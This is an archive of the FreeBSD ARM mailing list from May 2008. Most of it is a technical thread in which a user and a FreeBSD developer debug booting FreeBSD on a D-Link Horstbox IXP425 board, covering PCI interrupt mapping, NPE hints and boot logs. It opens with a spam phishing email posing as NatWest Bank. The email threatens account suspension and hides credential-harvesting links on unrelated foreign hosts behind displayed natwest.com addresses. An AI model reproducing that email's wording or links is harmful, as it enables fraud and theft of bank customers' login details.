From owner-freebsd-arm@FreeBSD.ORG Mon May 12 12:26:14 2008 Return-Path: Delivered-To: freebsd-arm@FreeBSD.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 9CBA1106567B for ; Mon, 12 May 2008 12:26:14 +0000 (UTC) (envelope-from anonymous@be2.ibox.ru) Received: from be2.ibox.ru (be2.ibox.ru [213.248.33.12]) by mx1.freebsd.org (Postfix) with SMTP id D76638FC22 for ; Mon, 12 May 2008 12:26:13 +0000 (UTC) (envelope-from anonymous@be2.ibox.ru) Received: (qmail 13680 invoked by uid 1354); 12 May 2008 08:59:52 -0000 Date: 12 May 2008 08:59:52 -0000 Message-ID: <20080512085952.13678.qmail@be2.ibox.ru> To: freebsd-arm@FreeBSD.org X-PHP-Script: taxi-maxim.ru/submit.php for 70.255.210.129, 70.255.210.129 From: NATWEST BANK PLC Content-Transfer-Encoding: 8bit MIME-Version: 1.0 Content-Type: text/plain X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Cc: Subject: Online Account Review X-BeenThere: freebsd-arm@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Porting FreeBSD to the StrongARM Processor List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 12 May 2008 12:26:14 -0000 [1]NatWest logo [2]Good morning and welcome to NatWest Dear Natwest Bank Customer: It has come to our attention that your account billing updates are out of order. If you could please take 5-10 minutes out of your online experience and update your billing records you will not run into any future problems with the online service. However, failure to update your records will result in account termination. Please update your records as soon as possible.If you are the rightful holder of the account you must click the link below and then complete all steps from the following page as we try to verify your identity. [3]www.natwest.com/updating%20managementcenter/www.natwest.com=updatin g/0,,80120,00.html If you choose to ignore our request, you leave us no choice but to temporaly suspend your account. Regards Natwest Bank, Updating Department. We will never contact customers via email asking to supply any confidential information, telephone or internet banking login details via email that is why we want you to verify your account by our internet automated machine. [4]Legal| [5]Privacy| [6]Security| [7]Security| [8]Media| [9]About us| [10]Glossary References 1. http://www.natwest.com/ 2. http://www.natwest.com/personal02.asp?id=PERSONAL/SAVE_AND_INVEST/SAVINGS_ACCOUNTS/LONGER_TERM/1YR_FIXED_RATE_BOND&referrer=hpbFRBLHS 3. http://www.joomlao.com/www.natwest.co.uk/nwolb/personal/default.aspx/refererident=A33469C5549E2D76C9FC7AA6EB0A59BE35112164/Login.aspx.htm 4. http://www.hamedan-icm.ir//components/mail2/www.natwest.co.uk/com/www.natwest.com/default.aspxrefererident=0410C25FD47F6D1088401E24D9A95B6AD74CD176&cookieid=29829&noscr=false&CookieCheck=2007-08-09T112317/Login.html 5. http://www.hamedan-icm.ir//components/mail2/www.natwest.co.uk/com/www.natwest.com/default.aspxrefererident=0410C25FD47F6D1088401E24D9A95B6AD74CD176&cookieid=29829&noscr=false&CookieCheck=2007-08-09T112317/Login.html 6. http://www.hamedan-icm.ir//components/mail2/www.natwest.co.uk/com/www.natwest.com/default.aspxrefererident=0410C25FD47F6D1088401E24D9A95B6AD74CD176&cookieid=29829&noscr=false&CookieCheck=2007-08-09T112317/Login.html 7. http://www.hamedan-icm.ir//components/mail2/www.natwest.co.uk/com/www.natwest.com/default.aspxrefererident=0410C25FD47F6D1088401E24D9A95B6AD74CD176&cookieid=29829&noscr=false&CookieCheck=2007-08-09T112317/Login.html 8. http://www.natwest.com/global_options.asp?id=GLOBAL/MEDIA 9. http://www.natwest.com/global_options.asp?id=GLOBAL/ABOUT_US 10. http://www.natwest.com/global_options.asp?id=GLOBAL/GLOSSARY From owner-freebsd-arm@FreeBSD.ORG Wed May 14 08:30:09 2008 Return-Path: Delivered-To: freebsd-arm@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 2D3731065682 for ; Wed, 14 May 2008 08:30:09 +0000 (UTC) (envelope-from michael@fuckner.net) Received: from dedihh.fuckner.net (dedihh.fuckner.net [81.209.183.161]) by mx1.freebsd.org (Postfix) with ESMTP id 97EBE8FC15 for ; Wed, 14 May 2008 08:30:08 +0000 (UTC) (envelope-from michael@fuckner.net) Received: from localhost (localhost [127.0.0.1]) by dedihh.fuckner.net (Postfix) with ESMTP id 4865661CE2 for ; Wed, 14 May 2008 10:11:01 +0200 (CEST) X-Virus-Scanned: amavisd-new at fuckner.net Received: from dedihh.fuckner.net ([127.0.0.1]) by localhost (dedihh.fuckner.net [127.0.0.1]) (amavisd-new, port 10024) with SMTP id FCzvTkGizEDM for ; Wed, 14 May 2008 10:10:53 +0200 (CEST) Received: from tkd14.delnet (unknown [85.183.0.20]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by dedihh.fuckner.net (Postfix) with ESMTPSA id AF5C861D4D for ; Wed, 14 May 2008 10:10:53 +0200 (CEST) Message-ID: <482A9E8E.5050407@fuckner.net> Date: Wed, 14 May 2008 10:10:54 +0200 From: Michael Fuckner User-Agent: Thunderbird 2.0.0.14 (X11/20080505) MIME-Version: 1.0 To: freebsd-arm@freebsd.org Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Subject: Horstbox DVA-G3342SB with FreeBSD X-BeenThere: freebsd-arm@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Porting FreeBSD to the StrongARM Processor List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 14 May 2008 08:30:09 -0000 Hi, I am trying to boot FreeBSD on a Horstbox Professional made by Dlink. I used the instructions from http://wiki.freebsd.org/FreeBSDAvila - Do I still need npe-firmware or does FreeBSD simply use the one uuencoded in the source tree? - where do I get information about the memory regions used in kernel configuration options PHYSADDR=0x10000000 options KERNPHYSADDR=0x10200000 options KERNVIRTADDR=0xc0200000 # Used in ldscript.arm options FLASHADDR=0x50000000 options LOADERRAMADDR=0x00000000 Long version with all details is at http://michael.fuckner.net/me/blog/index.php?/archives/420-Horstbox-DVA-G3342SB-with-FreeBSD.html#extended TIA, Michael! PS: This is what happenes right now: The Kernel boots, but in the middle, the system simply hangs. RedBoot> load -b 0x200000 kernel-horst.nfs Using default protocol (TFTP) Address offset = 0x40000000 Entry point: 0x00200100, address range: 0x00200000-0x0054e330 RedBoot> go KDB: debugger backends: ddb KDB: current backend: ddb Copyright (c) 1992-2008 The FreeBSD Project. Copyright (c) 1979, 1980, 1983, 1986, 1988, 1989, 1991, 1992, 1993, 1994 The Regents of the University of California. All rights reserved. FreeBSD is a registered trademark of The FreeBSD Foundation. FreeBSD 7.0-STABLE #1: Wed May 14 07:24:11 CEST 2008 root@g33.rebootking.de:/usr/obj/arm/samba/freebsd7-arm/src/sys/HORST CPU: IXP425 533MHz rev 1 (ARMv5TE) (XScale core) DC enabled IC enabled WB enabled LABT branch prediction enabled 32KB/32B 32-way Instruction cache 32KB/32B 32-way write-back-locking Data cache real memory = 67108864 (64 MB) avail memory = 58355712 (55 MB) ixp0: on motherboard pcib0: on ixp0 pci0: on pcib0 ixppcib: no mapping for 0/12/0 ixppcib: no mapping for 0/13/0 ixppcib: no mapping for 0/14/0 ixppcib: no mapping for 0/14/1 ixppcib: no mapping for 0/14/2 pci0: at device 12.0 (no driver attached) pci0: at device 13.0 (no driver attached) ohci0: irq -1 at device 14.0 on pci0 ixppcib: no mapping for 0/14/0 ohci0: Could not allocate irq pcib0: ohci0 called release_resource device_attach: ohci0 attach returned 6 ohci1: irq -1 at device 14.1 on pci0 ixppcib: no mapping for 0/14/1 ohci1: Could not allocate irq pcib0: ohci1 called release_resource device_attach: ohci1 attach returned 6 ehci0: mem 0x48002200-0x480022ff irq -1 at device 14.2 on pci0 pcib0: ehci0 called activate_resource ehci0: Could not map memory device_attach: ehci0 attach returned 6 ixpclk0: on ixp0 ixpiic0: on ixp0 iicbb0: on ixpiic0 iicbus0: on iicbb0 master-only iicbus0: at addr 0 iic0: on iicbus0 ad74180: at addr 0x50 on iicbus0 ds16720: at addr 0xd0 on iicbus0 ixpwdog0: on ixp0 uart0: on ixp0 uart0: [FILTER] uart0: console (115200,n,8,1) uart1: on ixp0 uart1: [FILTER] From owner-freebsd-arm@FreeBSD.ORG Thu May 15 16:59:24 2008 Return-Path: Delivered-To: freebsd-arm@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 82D82106564A for ; Thu, 15 May 2008 16:59:24 +0000 (UTC) (envelope-from sam@freebsd.org) Received: from ebb.errno.com (ebb.errno.com [69.12.149.25]) by mx1.freebsd.org (Postfix) with ESMTP id 3FE358FC18 for ; Thu, 15 May 2008 16:59:24 +0000 (UTC) (envelope-from sam@freebsd.org) Received: from Macintosh-3.local (039sub223.uottawa.ca [137.122.39.151]) (authenticated bits=0) by ebb.errno.com (8.13.6/8.12.6) with ESMTP id m4FGU2oX078037 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 15 May 2008 09:30:04 -0700 (PDT) (envelope-from sam@freebsd.org) Message-ID: <482C6504.1010209@freebsd.org> Date: Thu, 15 May 2008 12:29:56 -0400 From: Sam Leffler Organization: FreeBSD Project User-Agent: Thunderbird 2.0.0.14 (Macintosh/20080421) MIME-Version: 1.0 To: Michael Fuckner References: <482A9E8E.5050407@fuckner.net> In-Reply-To: <482A9E8E.5050407@fuckner.net> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-DCC-Rhyolite-Metrics: ebb.errno.com; whitelist Cc: freebsd-arm@freebsd.org Subject: Re: Horstbox DVA-G3342SB with FreeBSD X-BeenThere: freebsd-arm@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Porting FreeBSD to the StrongARM Processor List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 15 May 2008 16:59:24 -0000 Michael Fuckner wrote: > Hi, > > I am trying to boot FreeBSD on a Horstbox Professional made by Dlink. > > I used the instructions from http://wiki.freebsd.org/FreeBSDAvila > > > - Do I still need npe-firmware or does FreeBSD simply use the one > uuencoded in the source tree? The firmware image in the src tree should work. > - where do I get information about the memory regions used in kernel > configuration > > options PHYSADDR=0x10000000 > options KERNPHYSADDR=0x10200000 > options KERNVIRTADDR=0xc0200000 # Used in ldscript.arm > options FLASHADDR=0x50000000 > options LOADERRAMADDR=0x00000000 Not sure what you asking. The memory layout for the board should be documented by the vendor. Much is standardized by the IXP42xx but others are board-specific. Many memory locations are defined relative to the base address of IXP memory boundaries in arm/xscale/ixp*/*.h. Some bits that have been found to vary between boards are already settable as hints (e.g. look in AVILA.hints). > > Long version with all details is at > http://michael.fuckner.net/me/blog/index.php?/archives/420-Horstbox-DVA-G3342SB-with-FreeBSD.html#extended > > > TIA, > Michael! > > PS: This is what happenes right now: > The Kernel boots, but in the middle, the system simply hangs. > > RedBoot> load -b 0x200000 kernel-horst.nfs > Using default protocol (TFTP) > Address offset = 0x40000000 > Entry point: 0x00200100, address range: 0x00200000-0x0054e330 > RedBoot> go > KDB: debugger backends: ddb > KDB: current backend: ddb > Copyright (c) 1992-2008 The FreeBSD Project. > Copyright (c) 1979, 1980, 1983, 1986, 1988, 1989, 1991, 1992, 1993, 1994 > The Regents of the University of California. All rights reserved. > FreeBSD is a registered trademark of The FreeBSD Foundation. > FreeBSD 7.0-STABLE #1: Wed May 14 07:24:11 CEST 2008 > root@g33.rebootking.de:/usr/obj/arm/samba/freebsd7-arm/src/sys/HORST > CPU: IXP425 533MHz rev 1 (ARMv5TE) (XScale core) > DC enabled IC enabled WB enabled LABT branch prediction enabled > 32KB/32B 32-way Instruction cache > 32KB/32B 32-way write-back-locking Data cache > real memory = 67108864 (64 MB) > avail memory = 58355712 (55 MB) > ixp0: on motherboard > pcib0: on ixp0 > pci0: on pcib0 > ixppcib: no mapping for 0/12/0 > ixppcib: no mapping for 0/13/0 > ixppcib: no mapping for 0/14/0 > ixppcib: no mapping for 0/14/1 > ixppcib: no mapping for 0/14/2 This indicates the mapping isn't recognized/handled. Not sure if this is because your hardware is different or the system is reading information from the wrong memory locations. > pci0: at device 12.0 (no driver attached) > pci0: at device 13.0 (no driver attached) > ohci0: irq -1 at device 14.0 on pci0 > ixppcib: no mapping for 0/14/0 > ohci0: Could not allocate irq > pcib0: ohci0 called release_resource > device_attach: ohci0 attach returned 6 > ohci1: irq -1 at device 14.1 on pci0 > ixppcib: no mapping for 0/14/1 > ohci1: Could not allocate irq > pcib0: ohci1 called release_resource > device_attach: ohci1 attach returned 6 > ehci0: mem 0x48002200-0x480022ff irq > -1 at device 14.2 on pci0 > pcib0: ehci0 called activate_resource > ehci0: Could not map memory > device_attach: ehci0 attach returned 6 > ixpclk0: on ixp0 > ixpiic0: on ixp0 > iicbb0: on ixpiic0 > iicbus0: on iicbb0 master-only > iicbus0: at addr 0 > iic0: on iicbus0 > ad74180: at addr 0x50 on iicbus0 > ds16720: at addr 0xd0 on iicbus0 > ixpwdog0: on ixp0 > uart0: on ixp0 > uart0: [FILTER] > uart0: console (115200,n,8,1) > uart1: on ixp0 > uart1: [FILTER] Looks like most of your issues stem from the PCI support not being setup as expected. Sam From owner-freebsd-arm@FreeBSD.ORG Sat May 17 09:18:29 2008 Return-Path: Delivered-To: freebsd-arm@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 39222106564A for ; Sat, 17 May 2008 09:18:29 +0000 (UTC) (envelope-from michael@fuckner.net) Received: from dedihh.fuckner.net (dedihh.fuckner.net [81.209.183.161]) by mx1.freebsd.org (Postfix) with ESMTP id CBB928FC16 for ; Sat, 17 May 2008 09:18:28 +0000 (UTC) (envelope-from michael@fuckner.net) Received: from localhost (localhost [127.0.0.1]) by dedihh.fuckner.net (Postfix) with ESMTP id 7FBA461D47; Sat, 17 May 2008 11:18:26 +0200 (CEST) X-Virus-Scanned: amavisd-new at fuckner.net Received: from dedihh.fuckner.net ([127.0.0.1]) by localhost (dedihh.fuckner.net [127.0.0.1]) (amavisd-new, port 10024) with SMTP id rXx-YrFZiTnQ; Sat, 17 May 2008 11:18:20 +0200 (CEST) Received: from x22.rebootking.de (e176167216.adsl.alicedsl.de [85.176.167.216]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by dedihh.fuckner.net (Postfix) with ESMTPSA id 2588B61CE2; Sat, 17 May 2008 11:18:20 +0200 (CEST) Message-ID: <482EA2D2.3020205@fuckner.net> Date: Sat, 17 May 2008 11:18:10 +0200 From: Michael Fuckner User-Agent: Thunderbird 2.0.0.14 (X11/20080503) MIME-Version: 1.0 To: Sam Leffler References: <482A9E8E.5050407@fuckner.net> <482C6504.1010209@freebsd.org> In-Reply-To: <482C6504.1010209@freebsd.org> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Cc: freebsd-arm@freebsd.org Subject: Re: Horstbox DVA-G3342SB with FreeBSD X-BeenThere: freebsd-arm@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Porting FreeBSD to the StrongARM Processor List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 17 May 2008 09:18:29 -0000 Sam Leffler wrote: Hi! >> - where do I get information about the memory regions used in kernel >> configuration >> >> options PHYSADDR=0x10000000 >> options KERNPHYSADDR=0x10200000 >> options KERNVIRTADDR=0xc0200000 # Used in ldscript.arm >> options FLASHADDR=0x50000000 >> options LOADERRAMADDR=0x00000000 > > Not sure what you asking. The memory layout for the board should be > documented by the vendor. Much is standardized by the IXP42xx but > others are board-specific. Many memory locations are defined relative > to the base address of IXP memory boundaries in arm/xscale/ixp*/*.h. > Some bits that have been found to vary between boards are already > settable as hints (e.g. look in AVILA.hints). They sell it as a VoIP-Appliance, designed by Maxina, sold by D-link, so I'm not sure if they are willing to help me. The maxina.de-website seems to be dead. No reply until now. >> pcib0: on ixp0 >> pci0: on pcib0 >> ixppcib: no mapping for 0/12/0 >> ixppcib: no mapping for 0/13/0 >> ixppcib: no mapping for 0/14/0 >> ixppcib: no mapping for 0/14/1 >> ixppcib: no mapping for 0/14/2 > > This indicates the mapping isn't recognized/handled. Not sure if this > is because your hardware is different or the system is reading > information from the wrong memory locations. RedBoot> lspci 0:0:0 Vendor[8086] Device[8500] Type[00] Class[0b4000] BAR0: 00000008 BAR1: 01000008 BAR2: 02000008 BAR3: 03000008 BAR4: 80000008 BAR5: 90000001 0:8:0 Vendor[1033] Device[0035] Type[80] Class[0c0310] 0:8:1 Vendor[1033] Device[0035] Type[00] Class[0c0310] 0:8:2 Vendor[1033] Device[00e0] Type[00] Class[0c0320] 0:9:0 Vendor[1397] Device[2bd0] Type[00] Class[028000] 0:10:0 Vendor[1397] Device[2bd0] Type[00] Class[028000] Does this help? Do I have to put these settings into the hints-file? Right now, booting looks like this: RedBoot> load -b 0x200000 kernel-horst.nfs Using default protocol (TFTP) Address offset = 0x40000000 Entry point: 0x00200100, address range: 0x00200000-0x0054fb28 RedBoot> go KDB: debugger backends: ddb KDB: current backend: ddb Copyright (c) 1992-2008 The FreeBSD Project. Copyright (c) 1979, 1980, 1983, 1986, 1988, 1989, 1991, 1992, 1993, 1994 The Regents of the University of California. All rights reserved. FreeBSD is a registered trademark of The FreeBSD Foundation. FreeBSD 7.0-STABLE #8: Thu May 15 18:52:49 CEST 2008 root@g33.rebootking.de:/usr/obj/arm/samba/freebsd7-arm/src/sys/HORST CPU: IXP425 533MHz rev 1 (ARMv5TE) (XScale core) DC enabled IC enabled WB enabled LABT branch prediction enabled 32KB/32B 32-way Instruction cache 32KB/32B 32-way write-back-locking Data cache real memory = 67108864 (64 MB) avail memory = 58355712 (55 MB) ixp0: on motherboard pcib0: on ixp0 pci0: on pcib0 ixpclk0: on ixp0 ixpiic0: on ixp0 iicbb0: on ixpiic0 iicbus0: on iicbb0 master-only iicbus0: at addr 0 iic0: on iicbus0 ad74180: at addr 0x50 on iicbus0 ds16720: at addr 0xd0 on iicbus0 ixpwdog0: on ixp0 uart0: on ixp0 uart0: [FILTER] uart0: console (115200,n,8,1) ixpqmgr0: on ixp0 ixpqmgr0: [ITHREAD] npe0: on ixp0 npe0: [ITHREAD] npe0: remember to fix rx q setup npe0: Cannot find my PHY. device_attach: npe0 attach returned 6 npe1: on ixp0 npe1: [ITHREAD] npe1: remember to fix rx q setup miibus0: on npe1 rlphy0: PHY 1 on miibus0 rlphy0: 10baseT, 10baseT-FDX, 100baseTX, 100baseTX-FDX, auto npe1: Ethernet address: 00:03:47:df:32:aa led_avila0: on ixp0 ixpclk0: [FILTER] Timecounter "IXP425 Timer" frequency 66666600 Hz quality 1000 Timecounters tick every 10.000 msec bootpc_init: wired to interface 'npe1' Sending DHCP Discover packet from interface npe1 (00:03:47:df:32:aa) npe1: link state changed to UP DHCP/BOOTP timeout for server 255.255.255.255 DHCP/BOOTP timeout for server 255.255.255.255 DHCP/BOOTP timeout for server 255.255.255.255 DHCP/BOOTP timeout for server 255.255.255.255 DHCP/BOOTP timeout for server 255.255.255.255 DHCP/BOOTP timeout for server 255.255.255.255 Now it looks better, it recognizes the NPE-C-network-card, but it doesn't seem to be usable. And I lost my USB-Chip on the way. SO no ethernet via npe nor my axe-based USB-Stick :( In RedBoot it shows something different: + Trying NPE-B...success. Using NPE-B with PHY 1. Ethernet eth0: MAC address 00:03:47:df:32:a8 IP: 192.168.2.45/255.255.255.0, Gateway: 0.0.0.0 Default server: 192.168.2.64 I think the hints should look like this: hint.npe.0.at="ixp0" hint.npe.0.mac="A" hint.npe.0.mii="A" hint.npe.0.phy=1 I only have a single Ethernet-Interface NPE-B, connected to PHY1, MAC should be ...32:a8 and not ...32:aa. Do I have to generate my own IxNpeMicrocode.dat? Regards, Michael! From owner-freebsd-arm@FreeBSD.ORG Sat May 17 14:14:37 2008 Return-Path: Delivered-To: freebsd-arm@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 7F53A1065673 for ; Sat, 17 May 2008 14:14:37 +0000 (UTC) (envelope-from sam@freebsd.org) Received: from ebb.errno.com (ebb.errno.com [69.12.149.25]) by mx1.freebsd.org (Postfix) with ESMTP id 4573D8FC0C for ; Sat, 17 May 2008 14:14:37 +0000 (UTC) (envelope-from sam@freebsd.org) Received: from Macintosh-4.local ([137.122.72.197]) (authenticated bits=0) by ebb.errno.com (8.13.6/8.12.6) with ESMTP id m4HEEXqc093261 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Sat, 17 May 2008 07:14:34 -0700 (PDT) (envelope-from sam@freebsd.org) Message-ID: <482EE849.7060508@freebsd.org> Date: Sat, 17 May 2008 10:14:33 -0400 From: Sam Leffler Organization: FreeBSD Project User-Agent: Thunderbird 2.0.0.14 (Macintosh/20080421) MIME-Version: 1.0 To: Michael Fuckner References: <482A9E8E.5050407@fuckner.net> <482C6504.1010209@freebsd.org> <482EA2D2.3020205@fuckner.net> In-Reply-To: <482EA2D2.3020205@fuckner.net> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-DCC-Rhyolite-Metrics: ebb.errno.com; whitelist Cc: freebsd-arm@freebsd.org Subject: Re: Horstbox DVA-G3342SB with FreeBSD X-BeenThere: freebsd-arm@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Porting FreeBSD to the StrongARM Processor List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 17 May 2008 14:14:37 -0000 Michael Fuckner wrote: > Sam Leffler wrote: > > Hi! > >>> - where do I get information about the memory regions used in kernel >>> configuration >>> >>> options PHYSADDR=0x10000000 >>> options KERNPHYSADDR=0x10200000 >>> options KERNVIRTADDR=0xc0200000 # Used in ldscript.arm >>> options FLASHADDR=0x50000000 >>> options LOADERRAMADDR=0x00000000 >> >> Not sure what you asking. The memory layout for the board should be >> documented by the vendor. Much is standardized by the IXP42xx but >> others are board-specific. Many memory locations are defined relative >> to the base address of IXP memory boundaries in arm/xscale/ixp*/*.h. >> Some bits that have been found to vary between boards are already >> settable as hints (e.g. look in AVILA.hints). > > They sell it as a VoIP-Appliance, designed by Maxina, sold by D-link, so > I'm not sure if they are willing to help me. The maxina.de-website seems > to be dead. No reply until now. > > > >>> pcib0: on ixp0 >>> pci0: on pcib0 >>> ixppcib: no mapping for 0/12/0 >>> ixppcib: no mapping for 0/13/0 >>> ixppcib: no mapping for 0/14/0 >>> ixppcib: no mapping for 0/14/1 >>> ixppcib: no mapping for 0/14/2 >> >> This indicates the mapping isn't recognized/handled. Not sure if this >> is because your hardware is different or the system is reading >> information from the wrong memory locations. > > RedBoot> lspci > 0:0:0 Vendor[8086] Device[8500] Type[00] Class[0b4000] > BAR0: 00000008 > BAR1: 01000008 > BAR2: 02000008 > BAR3: 03000008 > BAR4: 80000008 > BAR5: 90000001 > 0:8:0 Vendor[1033] Device[0035] Type[80] Class[0c0310] > 0:8:1 Vendor[1033] Device[0035] Type[00] Class[0c0310] > 0:8:2 Vendor[1033] Device[00e0] Type[00] Class[0c0320] > 0:9:0 Vendor[1397] Device[2bd0] Type[00] Class[028000] > 0:10:0 Vendor[1397] Device[2bd0] Type[00] Class[028000] > > Does this help? Do I have to put these settings into the hints-file? If you look in sys/arm/xscale/ixp425/ixp425_pci.c for the error message you'll find a fixed mapping table for routing interrupts. Your board appears to use irq's that are not in the table. If we assume you've located the PCI bus properly then you might try adding entries for your devices and see if they are probed correctly. This table may need to be broken out into hints or, more likely, setup based on the board type to handle the required irq routing (you'll note there's already a bit of hack in the table for the optional USB controller on a Gateworks board I have). > > > Right now, booting looks like this: > > RedBoot> load -b 0x200000 kernel-horst.nfs > Using default protocol (TFTP) > Address offset = 0x40000000 > Entry point: 0x00200100, address range: 0x00200000-0x0054fb28 > RedBoot> go > KDB: debugger backends: ddb > KDB: current backend: ddb > Copyright (c) 1992-2008 The FreeBSD Project. > Copyright (c) 1979, 1980, 1983, 1986, 1988, 1989, 1991, 1992, 1993, 1994 > The Regents of the University of California. All rights reserved. > FreeBSD is a registered trademark of The FreeBSD Foundation. > FreeBSD 7.0-STABLE #8: Thu May 15 18:52:49 CEST 2008 > root@g33.rebootking.de:/usr/obj/arm/samba/freebsd7-arm/src/sys/HORST > CPU: IXP425 533MHz rev 1 (ARMv5TE) (XScale core) > DC enabled IC enabled WB enabled LABT branch prediction enabled > 32KB/32B 32-way Instruction cache > 32KB/32B 32-way write-back-locking Data cache > real memory = 67108864 (64 MB) > avail memory = 58355712 (55 MB) > ixp0: on motherboard > pcib0: on ixp0 > pci0: on pcib0 > ixpclk0: on ixp0 > ixpiic0: on ixp0 > iicbb0: on ixpiic0 > iicbus0: on iicbb0 master-only > iicbus0: at addr 0 > iic0: on iicbus0 > ad74180: at addr 0x50 on iicbus0 > ds16720: at addr 0xd0 on iicbus0 > ixpwdog0: on ixp0 > uart0: on ixp0 > uart0: [FILTER] > uart0: console (115200,n,8,1) > ixpqmgr0: on ixp0 > ixpqmgr0: [ITHREAD] > npe0: on ixp0 > npe0: [ITHREAD] > npe0: remember to fix rx q setup > npe0: Cannot find my PHY. > device_attach: npe0 attach returned 6 > npe1: on ixp0 > npe1: [ITHREAD] > npe1: remember to fix rx q setup > miibus0: on npe1 > rlphy0: PHY 1 on miibus0 > rlphy0: 10baseT, 10baseT-FDX, 100baseTX, 100baseTX-FDX, auto > npe1: Ethernet address: 00:03:47:df:32:aa > led_avila0: on ixp0 > ixpclk0: [FILTER] > Timecounter "IXP425 Timer" frequency 66666600 Hz quality 1000 > Timecounters tick every 10.000 msec > bootpc_init: wired to interface 'npe1' > Sending DHCP Discover packet from interface npe1 (00:03:47:df:32:aa) > npe1: link state changed to UP > DHCP/BOOTP timeout for server 255.255.255.255 > DHCP/BOOTP timeout for server 255.255.255.255 > DHCP/BOOTP timeout for server 255.255.255.255 > DHCP/BOOTP timeout for server 255.255.255.255 > DHCP/BOOTP timeout for server 255.255.255.255 > DHCP/BOOTP timeout for server 255.255.255.255 > > > Now it looks better, it recognizes the NPE-C-network-card, but it > doesn't seem to be usable. And I lost my USB-Chip on the way. SO no > ethernet via npe nor my axe-based USB-Stick :( Have you sniffed to see if the BOOTP packets are being sent out properly on npe1? > > In RedBoot it shows something different: > > + > Trying NPE-B...success. Using NPE-B with PHY 1. > Ethernet eth0: MAC address 00:03:47:df:32:a8 > IP: 192.168.2.45/255.255.255.0, Gateway: 0.0.0.0 > Default server: 192.168.2.64 > > I think the hints should look like this: > hint.npe.0.at="ixp0" > hint.npe.0.mac="A" > hint.npe.0.mii="A" > hint.npe.0.phy=1 > > > I only have a single Ethernet-Interface NPE-B, connected to PHY1, MAC > should be ...32:a8 and not ...32:aa. Do I have to generate my own > IxNpeMicrocode.dat? No, the microcode is not affected. Try altering the hints to bind only npe0 to the MAC+PHY (as you've done above). When you're all done you should have a config file + hints that gives you a working board. If you send it we can add it to the tree. Sam